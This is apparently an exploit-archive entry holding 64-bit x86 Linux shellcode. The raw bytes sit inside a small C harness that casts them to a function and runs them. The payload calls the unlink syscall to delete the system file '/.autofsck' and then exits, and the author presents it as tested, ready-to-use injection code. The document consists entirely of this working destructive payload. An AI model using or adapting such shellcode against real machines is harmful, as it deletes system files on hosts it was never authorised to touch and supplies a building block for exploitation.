64-bit x86/Linux unlink /.autofsck shellcode.
26924b93bc1d8255556d82adcdeb916cc8235763a6ac5b9baa70c0e7f85ca520
/*
64-bit x86/linux unlink /.autofsck
works fine here. YMMV
Greetings
--srm
*/
#include <stdlib.h>
#define SC "\xeb\x19\x48\x31\xc0\x48\x31\xff\x48\x83\xc0\x57\
\x5f\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\
\xe8\xe2\xff\xff\xff\x2f\x2e\x61\x75\x74\x6f\x66\x73\x63\x6b"
int main () {
int (*fun)();
fun = (int(*)())SC;
printf("%d\n", strlen(SC)); /* 42 is the answer! :) */
(int)(*fun)();
return 0;
}